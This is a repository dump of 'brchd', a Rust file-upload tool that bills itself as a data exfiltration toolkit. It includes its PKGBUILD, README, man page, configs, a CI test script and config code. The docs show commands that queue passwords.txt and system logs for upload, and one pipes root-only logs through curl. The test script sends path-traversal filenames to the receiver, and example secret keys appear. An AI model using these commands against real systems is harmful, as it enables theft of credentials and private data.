APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | 676 | -------------------------------------------------------------------------------- /PKGBUILD: -------------------------------------------------------------------------------- 1 | # Maintainer: kpcyrd 2 | 3 | pkgname=brchd 4 | pkgver=0.0.0 5 | pkgrel=1 6 | pkgdesc='Data exfiltration toolkit' 7 | url='https://github.com/kpcyrd/brchd' 8 | arch=('x86_64') 9 | license=('GPL3') 10 | depends=('libsodium') 11 | makedepends=('cargo' 'scdoc') 12 | 13 | build() { 14 | cd .. 15 | cargo build --release --locked 16 | scdoc < brchd.1.scd > brchd.1 17 | } 18 | 19 | check() { 20 | cd .. 21 | cargo test --release --locked 22 | } 23 | 24 | package() { 25 | cd .. 26 | install -Dm 755 target/release/${pkgname} -t "${pkgdir}/usr/bin" 27 | 28 | install -d "${pkgdir}/usr/share/bash-completion/completions" \ 29 | "${pkgdir}/usr/share/zsh/site-functions" \ 30 | "${pkgdir}/usr/share/fish/vendor_completions.d" 31 | "${pkgdir}/usr/bin/brchd" --gen-completions bash > "${pkgdir}/usr/share/bash-completion/completions/brchd" 32 | "${pkgdir}/usr/bin/brchd" --gen-completions zsh > "${pkgdir}/usr/share/zsh/site-functions/_brchd" 33 | "${pkgdir}/usr/bin/brchd" --gen-completions fish > "${pkgdir}/usr/share/fish/vendor_completions.d/brchd.fish" 34 | 35 | install -Dm 644 brchd.1 -t "${pkgdir}/usr/share/man/man1" 36 | install -Dm 644 README.md -t "${pkgdir}/usr/share/doc/${pkgname}" 37 | } 38 | 39 | # vim: ts=2 sw=2 et: 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # brchd 2 | 3 | ## Starting the receiver somewhere 4 | 5 | brchd -Hd drop/ 6 | 7 | ## Run the background uploader 8 | 9 | brchd -vDd http://127.0.0.1:7070 10 | 11 | ## Manage uploads 12 | 13 | brchd passwords.txt 14 | brchd imgs/ 15 | brchd /var/log/*.log 16 | brchd # attaches status monitor 17 | brchd --wait # blocks until all pending uploads are done 18 | 19 | ## Run as standalone spider 20 | 21 | brchd -d ./download/ https://ftp.example.com/some/folder/ 22 | 23 | ## Install dependencies 24 | 25 | apt install pkg-config libsodium-dev 26 | pacman -S pkg-config libsodium 27 | brew install pkg-config libsodium 28 | 29 | ## Windows 30 | 31 | There's basic windows support. You need to force a statically linked libsodium 32 | with: 33 | 34 | cargo build --release --no-default-features --features=crypto,httpd,spider,native-tls 35 | 36 | Running the receiver (`-H`) on windows is considered insecure and highly 37 | discouraged. 38 | -------------------------------------------------------------------------------- /benches/crypto.rs: -------------------------------------------------------------------------------- 1 | #[macro_use] 2 | extern crate criterion; 3 | 4 | use criterion::BenchmarkId; 5 | use criterion::Criterion; 6 | use criterion::Throughput; 7 | use criterion::black_box; 8 | use sodiumoxide::crypto::box_::{self, PublicKey, SecretKey}; 9 | use std::io::Cursor; 10 | use std::io::prelude::*; 11 | use brchd::crypto::upload::EncryptedUpload; 12 | 13 | fn encrypt_upload(pk: &PublicKey, sk: &SecretKey, len: usize) { 14 | let bytes = sodiumoxide::randombytes::randombytes(len); 15 | 16 | // encrypt 17 | let r = Cursor::new(&bytes); 18 | let mut upload = EncryptedUpload::new(r, &pk, Some(&sk)).unwrap(); 19 | 20 | let mut encrypted = Vec::new(); 21 | upload.read_to_end(&mut encrypted).unwrap(); 22 | } 23 | 24 | fn criterion_benchmark(c: &mut Criterion) { 25 | let (pk, sk) = box_::gen_keypair(); 26 | 27 | let mut group = c.benchmark_group("EncryptedUpload"); 28 | 29 | for (size, samples) in &[(16, 100), (1024 * 1024 * 16, 10)] { 30 | group.sample_size(*samples); 31 | group.throughput(Throughput::Bytes(*size as u64)); 32 | group.bench_with_input(BenchmarkId::from_parameter(size), size, |b, &s| { 33 | b.iter(|| encrypt_upload(&pk, &sk, s)); 34 | }); 35 | } 36 | 37 | group.finish(); 38 | } 39 | 40 | criterion_group!(benches, criterion_benchmark); 41 | criterion_main!(benches); 42 | -------------------------------------------------------------------------------- /brchd.1.scd: -------------------------------------------------------------------------------- 1 | brchd(1) 2 | 3 | # NAME 4 | 5 | brchd - data exfiltration toolkit 6 | 7 | # SYNOPSIS 8 | 9 | *brchd* [options] [paths ...] 10 | 11 | # RECEIVER 12 | 13 | The receiver is the http server that accepts uploads and stores them inside a folder. 14 | 15 | ``` 16 | brchd -Hd drop/ 17 | ``` 18 | 19 | It is recommended to use brchd to upload, but you can also open it in the 20 | browser to use the html form. 21 | 22 | There are multiple ways to use it with curl, the easiest being: 23 | 24 | ``` 25 | curl -F file=@README.md http://127.1:7070 26 | ``` 27 | 28 | To upload multiple files you can combine curl with tar: 29 | 30 | ``` 31 | tar cvvJ files/*.bin.part | curl -T- http://127.1:7070 32 | ``` 33 | 34 | To upload log files only readable by root: 35 | 36 | ``` 37 | sudo tar cvvJ /var/log/nginx | curl -T- http://127.1:7070 38 | ``` 39 | 40 | # DAEMON 41 | 42 | The daemon runs on the system that is uploading. 43 | 44 | ``` 45 | brchd -vDd http://127.1:7070 46 | ``` 47 | 48 | It keeps track of the upload queue and restricts the number of concurrent 49 | uploads. 50 | 51 | # CLIENT 52 | 53 | The client is the command you're going to use the most. To add files or 54 | directories to the queue run: 55 | 56 | ``` 57 | brchd passwords.txt 58 | brchd imgs/ 59 | brchd /var/log/*.log 60 | ``` 61 | 62 | You can attach a status monitor to watch the current status: 63 | 64 | ``` 65 | brchd 66 | ``` 67 | 68 | You can exit the monitor with *^C* at any time without interrupting any 69 | uploads. 70 | 71 | For scripting you may want to use *brchd -w* to block the script until all 72 | uploads are done. 73 | 74 | # STANDALONE 75 | 76 | It's possible to run brchd in standalone mode if you provide both a path and a 77 | destination: 78 | 79 | ``` 80 | brchd -d @home /var/log/ 81 | ``` 82 | 83 | This allows uploading without a daemon. 84 | 85 | # CONFIGURATION 86 | 87 | You can create a configuration file to define defaults. The system 88 | configuration is only going to be loaded if the user didn't create one, and 89 | *-c* is not used. 90 | 91 | [[ *Operating System* 92 | :- _System_ 93 | :- _User_ 94 | | *Linux* 95 | : /etc/brchd.toml 96 | : ~/.config/brchd.toml 97 | | *Mac OSX* 98 | : /etc/brchd.toml 99 | : ~/Library/Preferences/brchd.toml 100 | | *Windows* 101 | : ??? 102 | : %APPDATA%/brchd.toml 103 | 104 | 105 | Everything is optional, but a minimal configuration might look like this: 106 | 107 | ``` 108 | [daemon] 109 | destination = "http://127.0.0.1:7070" 110 | 111 | [http] 112 | destination = "/home/user/drop" 113 | ``` 114 | 115 | Usually you wouldn't configure both sections on the same system, but it works 116 | for demoing purpose. 117 | 118 | It's possible to configure multiple known destinations and then refer to them 119 | by name. To do this you would add a named destination to your config: 120 | 121 | ``` 122 | [daemon] 123 | destination = "@home" 124 | 125 | [destinations.home] 126 | destination = "http://127.0.0.1:7070" 127 | ``` 128 | 129 | You can also refer to named destinations with commandline options: 130 | 131 | ``` 132 | brchd -Dd @home 133 | ``` 134 | 135 | # ENCRYPTION 136 | 137 | brchd supports encrypting files with asymetric encryption to hide the file 138 | content from the server you're uploading to. 139 | 140 | The header starts with the magic bytes *\\x00#BRCHD\\x00*, a 24 byte nonce, a 141 | 32 byte public key, and a u16 that indicates the length of the header body. The 142 | header body is encrypted with *crypto_box_curve25519xsalsa20poly1305* and 143 | contains the symetric encryption key for the file and an optional filename. 144 | 145 | If no secret key is configured the public key in the header is randomly 146 | generated for every upload. If a secret key is configured then this key is used 147 | to authenticate the upload by signing the header. 148 | 149 | This header is then followed by a 24 byte libsodium secretstream header and 150 | 4096 byte chunks that are encrypted with 151 | *crypto_secretstream_xchacha20poly1305*. When decrypting you need to read in 152 | 4096+17 byte chunks due to the authenticator. 153 | 154 | To get started you first need to generate a keypair: 155 | 156 | ``` 157 | $ brchd --keygen 158 | [crypto] 159 | #pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 160 | seckey = "5LYdSbVM3Pxnvzi71bZedjNXgnu0ZIjEObJeTqa3UAU=" 161 | ``` 162 | 163 | If you provide a public key to the upload daemon then all uploads are going to 164 | be encrypted for this public key: 165 | 166 | ``` 167 | brchd -Dd http://127.0.0.1:7070 --pubkey cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs= 168 | ``` 169 | 170 | You can also encrypt individual files or folders with: 171 | 172 | ``` 173 | brchd --encrypt --pubkey $PUBKEY file.txt 174 | ``` 175 | 176 | To decrypt everything in your upload folder, run: 177 | 178 | ``` 179 | brchd --decrypt drop/ 180 | ``` 181 | 182 | It is *highly recommended* to configure the secret key in the config file or as 183 | an environment variable for security reasons. 184 | 185 | It is possible to add known public keys in your config file and then refer to 186 | them by name. Given a configuration file like this: 187 | 188 | ``` 189 | [pubkeys.kpcyrd] 190 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 191 | ``` 192 | 193 | You can encrypt files for this key by running: 194 | 195 | ``` 196 | brchd --encrypt --pubkey @kpcyrd file.txt 197 | ``` 198 | 199 | You can also configure an encryption key for a destination: 200 | 201 | ``` 202 | [daemon] 203 | destination = "http://127.0.0.1:7070" 204 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 205 | ``` 206 | 207 | Instead of specifying the key directly you can also use an @ alias instead, 208 | this also works with named destionations described in the previous section. 209 | 210 | # PATHSPEC 211 | 212 | You can configure how uploads are going to be stored with the *-F* flag. 213 | 214 | By default brchd is going to refuse to overwrite files, to avoid having any 215 | uploads denied you may use *%r-%f* to have everything prefixed with a random 216 | string. 217 | 218 | You may also use a folder structure based on the upload date with 219 | *%Y/%m/%d/%p*. 220 | 221 | [[ *Variable* 222 | :- _Value_ 223 | | *%%* 224 | : Literal *%* 225 | | *%Y* 226 | : Current year 227 | | *%m* 228 | : Current month 229 | | *%d* 230 | : Current day 231 | | *%H* 232 | : Current hour 233 | | *%M* 234 | : Current minute 235 | | *%S* 236 | : Current second 237 | | *%h* 238 | : Remote IP 239 | | *%f* 240 | : Filename 241 | | *%p* 242 | : Path 243 | | *%P* 244 | : Absolute path (if available, falls back to %p) 245 | 246 | 247 | # AUTHORS 248 | 249 | This program was originally written and is currently maintained by kpcyrd. Bug 250 | reports and patches are welcome on github: https://github.com/kpcyrd/brchd 251 | -------------------------------------------------------------------------------- /brchd.toml: -------------------------------------------------------------------------------- 1 | [daemon] 2 | socket = "brchd.sock" 3 | destination = "http://127.0.0.1:8080" 4 | concurrency = 4 5 | 6 | [http] 7 | bind_addr = "[::]:8080" 8 | destination = "drop/" 9 | #path_format = "%Y-%m-%d/%6r-%f" 10 | -------------------------------------------------------------------------------- /ci/tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # working 4 | curl -sS \ 5 | -H 'Content-Type: multipart/form-data; boundary=------------------------457a7852da6997ff' \ 6 | http://127.0.0.1:3000/ \ 7 | --data-binary $'--------------------------457a7852da6997ff\r 8 | Content-Disposition: form-data; name="foo"; filename="ohai.txt"\r 9 | \r 10 | yey!\r 11 | \r 12 | --------------------------457a7852da6997ff--\r 13 | ' 14 | 15 | # overwrite the file 16 | curl -sS \ 17 | -H 'Content-Type: multipart/form-data; boundary=------------------------457a7852da6997ff' \ 18 | http://127.0.0.1:3000/ \ 19 | --data-binary $'--------------------------457a7852da6997ff\r 20 | Content-Disposition: form-data; name="foo"; filename="ohai.txt"\r 21 | \r 22 | pwned!\r 23 | \r 24 | --------------------------457a7852da6997ff--\r 25 | ' 26 | 27 | # absolute path 28 | curl -sS \ 29 | -H 'Content-Type: multipart/form-data; boundary=------------------------457a7852da6997ff' \ 30 | http://127.0.0.1:3000/ \ 31 | --data-binary $'--------------------------457a7852da6997ff\r 32 | Content-Disposition: form-data; name="foo"; filename="/tmp/x"\r 33 | \r 34 | bar\r 35 | \r 36 | --------------------------457a7852da6997ff--\r 37 | ' 38 | 39 | # traversal 40 | curl -sS \ 41 | -H 'Content-Type: multipart/form-data; boundary=------------------------457a7852da6997ff' \ 42 | http://127.0.0.1:3000/ \ 43 | --data-binary $'--------------------------457a7852da6997ff\r 44 | Content-Disposition: form-data; name="foo"; filename="../x"\r 45 | \r 46 | bar\r 47 | \r 48 | --------------------------457a7852da6997ff--\r 49 | ' 50 | 51 | # subfolder 52 | curl -sS \ 53 | -H 'Content-Type: multipart/form-data; boundary=------------------------457a7852da6997ff' \ 54 | http://127.0.0.1:3000/ \ 55 | --data-binary $'--------------------------457a7852da6997ff\r 56 | Content-Disposition: form-data; name="foo"; filename="a/b/c.txt"\r 57 | \r 58 | foo\r 59 | \r 60 | --------------------------457a7852da6997ff--\r 61 | ' 62 | curl -sS \ 63 | -H 'Content-Type: multipart/form-data; boundary=------------------------457a7852da6997ff' \ 64 | http://127.0.0.1:3000/ \ 65 | --data-binary $'--------------------------457a7852da6997ff\r 66 | Content-Disposition: form-data; name="foo"; filename="a/b/d.txt"\r 67 | \r 68 | bar\r 69 | \r 70 | --------------------------457a7852da6997ff--\r 71 | ' 72 | -------------------------------------------------------------------------------- /release.toml: -------------------------------------------------------------------------------- 1 | no-dev-version = true 2 | pre-release-commit-message = "Release v{{version}}" 3 | -------------------------------------------------------------------------------- /src/args.rs: -------------------------------------------------------------------------------- 1 | use crate::errors::*; 2 | use std::net::{SocketAddr, IpAddr}; 3 | use std::path::PathBuf; 4 | use structopt::StructOpt; 5 | use structopt::clap::{AppSettings, Shell}; 6 | 7 | #[derive(Debug, Default, StructOpt)] 8 | #[structopt(global_settings = &[AppSettings::ColoredHelp])] 9 | pub struct Args { 10 | /// Verbose output 11 | #[structopt(short="v", parse(from_occurrences))] 12 | pub verbose: u8, 13 | /// Perform the action on the given paths 14 | pub paths: Vec, 15 | /// Run the uploader daemon 16 | #[structopt(short="D", long, group="action")] 17 | pub daemon: bool, 18 | /// Run the http uploads receiver 19 | #[structopt(short="H", long, group="action")] 20 | pub http_daemon: bool, 21 | /// Show upload queue 22 | #[structopt(short="Q", long, group="action")] 23 | pub queue: bool, 24 | 25 | /// Encrypt files 26 | #[structopt(long, group="action")] 27 | pub encrypt: bool, 28 | /// Decrypt files 29 | #[structopt(long, group="action")] 30 | pub decrypt: bool, 31 | /// Generate a keypair for encryption 32 | #[structopt(long, group="action")] 33 | pub keygen: bool, 34 | 35 | /// Generate shell completions 36 | #[structopt(long, possible_values=&Shell::variants(), group="action")] 37 | pub gen_completions: Option, 38 | /// Storage destination 39 | #[structopt(short="d", long)] 40 | pub destination: Option, 41 | /// Address to bind to 42 | #[structopt(short="B", long, parse(try_from_str = parse_addr))] 43 | pub bind_addr: Option, 44 | /// Concurrent uploads 45 | #[structopt(short="n")] 46 | pub concurrency: Option, 47 | /// Block until all pending uploads are done 48 | #[structopt(short="w", long, group="action")] 49 | pub wait: bool, 50 | /// Use the given path for the brchd socket 51 | #[structopt(short="S", long, env="BRCHD_SOCK")] 52 | pub socket: Option, 53 | /// Load the configuration at the given path 54 | #[structopt(short="c", long, env="BRCHD_CONFIG")] 55 | pub config: Option, 56 | /// Store uploads with the given pattern 57 | #[structopt(short="F", long, env="BRCHD_PATH_FORMAT")] 58 | pub path_format: Option, 59 | /// Encrypt for the given public key 60 | #[structopt(long, env="BRCHD_PUBKEY")] 61 | pub pubkey: Option, 62 | /// Decrypt with the given secret key 63 | #[structopt(long, env="BRCHD_SECKEY")] 64 | pub seckey: Option, 65 | /// Use a proxy for all requests (e.g. socks5://127.0.0.1:9050) 66 | #[structopt(short="x", long)] 67 | pub proxy: Option, 68 | /// Accept invalid certificates. The certificate may be expired, not valid for this hostname or lack signatures from a trusted CA. This makes the connection vulnerable to mitm attacks. 69 | #[structopt(long)] 70 | pub accept_invalid_certs: bool, 71 | #[structopt(long, env="BRCHD_USER_AGENT")] 72 | pub user_agent: Option, 73 | } 74 | 75 | fn parse_addr(s: &str) -> Result { 76 | let idx = s 77 | .find(':') 78 | .ok_or_else(|| format_err!("no `:` found in `{}`", s))?; 79 | 80 | let r = if idx == 0 { 81 | let port = s[1..].parse()?; 82 | SocketAddr::new(IpAddr::from([ 83 | 0, 0, 0, 0, 84 | 0, 0, 0, 0, 85 | ]), port) 86 | } else { 87 | s.parse::()? 88 | }; 89 | Ok(r) 90 | } 91 | -------------------------------------------------------------------------------- /src/config/client.rs: -------------------------------------------------------------------------------- 1 | use crate::args::Args; 2 | use crate::config::ConfigFile; 3 | use crate::errors::*; 4 | use serde::{Serialize, Deserialize}; 5 | use std::path::PathBuf; 6 | 7 | #[derive(Debug, PartialEq, Serialize, Deserialize)] 8 | pub struct ClientConfig { 9 | pub socket: Option, 10 | pub proxy: Option, 11 | } 12 | 13 | impl ClientConfig { 14 | pub fn load(args: &Args) -> Result { 15 | let config = ConfigFile::load(args)?; 16 | Self::build(config, args) 17 | } 18 | 19 | fn build(config: ConfigFile, _args: &Args) -> Result { 20 | Ok(ClientConfig { 21 | socket: config.daemon.socket, 22 | proxy: config.daemon.proxy, 23 | }) 24 | } 25 | } 26 | 27 | #[cfg(test)] 28 | mod tests { 29 | use super::*; 30 | 31 | #[test] 32 | fn default_client_config() { 33 | let config = ConfigFile::load_slice(br#""#).unwrap(); 34 | let config = ClientConfig::build(config, &Args::default()).unwrap(); 35 | assert_eq!(config, ClientConfig { 36 | socket: None, 37 | proxy: None, 38 | }); 39 | } 40 | 41 | #[test] 42 | fn all_client_config() { 43 | let config = ConfigFile::load_slice(br#" 44 | [daemon] 45 | socket = "/asdf/brchd.socket" 46 | proxy = "socks5://127.0.0.1:9150" 47 | "#).unwrap(); 48 | let config = ClientConfig::build(config, &Args::default()).unwrap(); 49 | assert_eq!(config, ClientConfig { 50 | socket: Some(PathBuf::from("/asdf/brchd.socket")), 51 | proxy: Some("socks5://127.0.0.1:9150".to_string()), 52 | }); 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/config/crypto.rs: -------------------------------------------------------------------------------- 1 | use crate::args::Args; 2 | use crate::config::{self, ConfigFile}; 3 | use crate::crypto::{self, PublicKey, SecretKey}; 4 | use crate::errors::*; 5 | use serde::{Serialize, Deserialize}; 6 | 7 | #[derive(Debug, PartialEq, Serialize, Deserialize)] 8 | pub struct EncryptConfig { 9 | pub pubkey: PublicKey, 10 | pub seckey: Option, 11 | } 12 | 13 | impl EncryptConfig { 14 | pub fn load(args: &Args) -> Result { 15 | let config = ConfigFile::load(args)?; 16 | Self::build(config, args) 17 | } 18 | 19 | fn build(config: ConfigFile, _args: &Args) -> Result { 20 | let pubkey = config.crypto.pubkey 21 | .ok_or_else(|| format_err!("public key is missing"))?; 22 | 23 | let pubkey = if let Some(alias) = config::resolve_alias(&config.pubkeys, &pubkey)? { 24 | &alias.pubkey 25 | } else { 26 | &pubkey 27 | }; 28 | let pubkey = crypto::decode_pubkey(&pubkey)?; 29 | 30 | let seckey = if let Some(seckey) = config.crypto.seckey { 31 | let seckey = crypto::decode_seckey(&seckey)?; 32 | Some(seckey) 33 | } else { 34 | None 35 | }; 36 | 37 | Ok(EncryptConfig { 38 | pubkey, 39 | seckey, 40 | }) 41 | } 42 | } 43 | 44 | #[derive(Debug, PartialEq, Serialize, Deserialize)] 45 | pub struct DecryptConfig { 46 | pub pubkey: Option, 47 | pub seckey: SecretKey, 48 | } 49 | 50 | impl DecryptConfig { 51 | pub fn load(args: &Args) -> Result { 52 | let config = ConfigFile::load(args)?; 53 | Self::build(config, args) 54 | } 55 | 56 | fn build(config: ConfigFile, _args: &Args) -> Result { 57 | let pubkey = if let Some(pubkey) = config.crypto.pubkey { 58 | let pubkey = if let Some(alias) = config::resolve_alias(&config.pubkeys, &pubkey)? { 59 | &alias.pubkey 60 | } else { 61 | &pubkey 62 | }; 63 | let pubkey = crypto::decode_pubkey(&pubkey)?; 64 | Some(pubkey) 65 | } else { 66 | None 67 | }; 68 | 69 | let seckey = config.crypto.seckey 70 | .ok_or_else(|| format_err!("secret key is missing"))?; 71 | let seckey = crypto::decode_seckey(&seckey)?; 72 | 73 | Ok(DecryptConfig { 74 | pubkey, 75 | seckey, 76 | }) 77 | } 78 | } 79 | 80 | 81 | #[cfg(all(test, feature="crypto"))] 82 | mod tests { 83 | use super::*; 84 | 85 | #[test] 86 | fn default_encrypt_config() { 87 | let config = ConfigFile::load_slice(br#" 88 | [crypto] 89 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 90 | "#).unwrap(); 91 | let config = EncryptConfig::build(config, &Args::default()).unwrap(); 92 | assert_eq!(config, EncryptConfig { 93 | pubkey: PublicKey::from_slice(&[ 94 | 115, 27, 214, 39, 98, 102, 27, 232, 92, 84, 12, 139, 20, 146, 95 | 44, 161, 243, 112, 15, 176, 44, 198, 42, 22, 195, 238, 225, 96 | 196, 48, 91, 122, 59, 97 | ]).unwrap(), 98 | seckey: None, 99 | }); 100 | } 101 | 102 | #[test] 103 | fn encrypt_pubkey_arg() { 104 | let args = Args { 105 | pubkey: Some("cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=".to_string()), 106 | ..Default::default() 107 | }; 108 | let mut config = ConfigFile::load_slice(br#""#).unwrap(); 109 | config.update(&args); 110 | let config = EncryptConfig::build(config, &args).unwrap(); 111 | assert_eq!(config, EncryptConfig { 112 | pubkey: PublicKey::from_slice(&[ 113 | 115, 27, 214, 39, 98, 102, 27, 232, 92, 84, 12, 139, 20, 146, 114 | 44, 161, 243, 112, 15, 176, 44, 198, 42, 22, 195, 238, 225, 115 | 196, 48, 91, 122, 59, 116 | ]).unwrap(), 117 | seckey: None, 118 | }); 119 | } 120 | 121 | #[test] 122 | fn default_decrypt_config() { 123 | let config = ConfigFile::load_slice(br#" 124 | [crypto] 125 | seckey = "5LYdSbVM3Pxnvzi71bZedjNXgnu0ZIjEObJeTqa3UAU=" 126 | "#).unwrap(); 127 | let config = DecryptConfig::build(config, &Args::default()).unwrap(); 128 | assert_eq!(config, DecryptConfig { 129 | seckey: SecretKey::from_slice(&[ 130 | 228, 182, 29, 73, 181, 76, 220, 252, 103, 191, 56, 187, 213, 131 | 182, 94, 118, 51, 87, 130, 123, 180, 100, 136, 196, 57, 178, 132 | 94, 78, 166, 183, 80, 5, 133 | ]).unwrap(), 134 | pubkey: None, 135 | }); 136 | } 137 | 138 | #[test] 139 | fn encrypt_resolve_alias() { 140 | let config = ConfigFile::load_slice(br#" 141 | [pubkeys.home] 142 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 143 | 144 | [crypto] 145 | pubkey = "@home" 146 | "#).unwrap(); 147 | let config = EncryptConfig::build(config, &Args::default()).unwrap(); 148 | assert_eq!(config, EncryptConfig { 149 | pubkey: PublicKey::from_slice(&[ 150 | 115, 27, 214, 39, 98, 102, 27, 232, 92, 84, 12, 139, 20, 146, 151 | 44, 161, 243, 112, 15, 176, 44, 198, 42, 22, 195, 238, 225, 152 | 196, 48, 91, 122, 59, 153 | ]).unwrap(), 154 | seckey: None, 155 | }); 156 | } 157 | 158 | #[test] 159 | fn encrypt_resolve_alias_arg() { 160 | let args = Args { 161 | pubkey: Some("@home".to_string()), 162 | ..Default::default() 163 | }; 164 | let mut config = ConfigFile::load_slice(br#" 165 | [pubkeys.home] 166 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 167 | "#).unwrap(); 168 | config.update(&args); 169 | let config = EncryptConfig::build(config, &args).unwrap(); 170 | assert_eq!(config, EncryptConfig { 171 | pubkey: PublicKey::from_slice(&[ 172 | 115, 27, 214, 39, 98, 102, 27, 232, 92, 84, 12, 139, 20, 146, 173 | 44, 161, 243, 112, 15, 176, 44, 198, 42, 22, 195, 238, 225, 174 | 196, 48, 91, 122, 59, 175 | ]).unwrap(), 176 | seckey: None, 177 | }); 178 | } 179 | 180 | #[test] 181 | fn encrypt_invalid_alias() { 182 | let config = ConfigFile::load_slice(br#" 183 | [crypto] 184 | pubkey = "@home" 185 | "#).unwrap(); 186 | let r = EncryptConfig::build(config, &Args::default()); 187 | assert!(r.is_err()); 188 | } 189 | 190 | #[test] 191 | fn decrypt_with_strict_key_alias() { 192 | let config = ConfigFile::load_slice(br#" 193 | [crypto] 194 | pubkey = "@home" 195 | seckey = "4pYQbPj4mpIFGasDsa73tqrvKtOi51uL6vfXUBQzR7w=" 196 | 197 | [pubkeys.home] 198 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 199 | "#).unwrap(); 200 | let config = DecryptConfig::build(config, &Args::default()).unwrap(); 201 | assert_eq!(config, DecryptConfig { 202 | seckey: SecretKey::from_slice(&[ 203 | 226, 150, 16, 108, 248, 248, 154, 146, 5, 25, 171, 3, 177, 174, 204 | 247, 182, 170, 239, 42, 211, 162, 231, 91, 139, 234, 247, 215, 205 | 80, 20, 51, 71, 188, 206 | ]).unwrap(), 207 | pubkey: Some(PublicKey::from_slice(&[ 208 | 115, 27, 214, 39, 98, 102, 27, 232, 92, 84, 12, 139, 20, 146, 209 | 44, 161, 243, 112, 15, 176, 44, 198, 42, 22, 195, 238, 225, 210 | 196, 48, 91, 122, 59, 211 | ]).unwrap()), 212 | }); 213 | } 214 | } 215 | -------------------------------------------------------------------------------- /src/config/daemon.rs: -------------------------------------------------------------------------------- 1 | use crate::args::Args; 2 | use crate::config::{self, ConfigFile}; 3 | use crate::crypto::{self, PublicKey, SecretKey}; 4 | use crate::errors::*; 5 | use crate::ipc; 6 | use serde::{Serialize, Deserialize}; 7 | use std::path::PathBuf; 8 | 9 | #[derive(Debug, PartialEq, Serialize, Deserialize)] 10 | pub struct DaemonConfig { 11 | pub socket: PathBuf, 12 | pub destination: String, 13 | pub concurrency: usize, 14 | pub path_format: String, 15 | pub proxy: Option, 16 | pub pubkey: Option, 17 | pub seckey: Option, 18 | } 19 | 20 | impl DaemonConfig { 21 | pub fn load(args: &Args) -> Result { 22 | let config = ConfigFile::load(args)?; 23 | Self::build(config, args) 24 | } 25 | 26 | fn build(config: ConfigFile, args: &Args) -> Result { 27 | let socket = ipc::build_socket_path(config.daemon.socket, false)?; 28 | 29 | let mut destination = config.daemon.destination 30 | .ok_or_else(|| format_err!("destination is required"))?; 31 | 32 | let mut pubkey = config.daemon.pubkey; 33 | let seckey = config.crypto.seckey; 34 | 35 | if let Some(alias) = config::resolve_alias(&config.destinations, &destination)? { 36 | destination = alias.destination.clone(); 37 | if args.pubkey.is_none() && alias.pubkey.is_some() { 38 | pubkey = alias.pubkey.clone(); 39 | } 40 | } 41 | 42 | let concurrency = config.daemon.concurrency 43 | .unwrap_or(config::DEFAULT_CONCURRENCY); 44 | 45 | let path_format = config.http.path_format 46 | .unwrap_or_else(|| 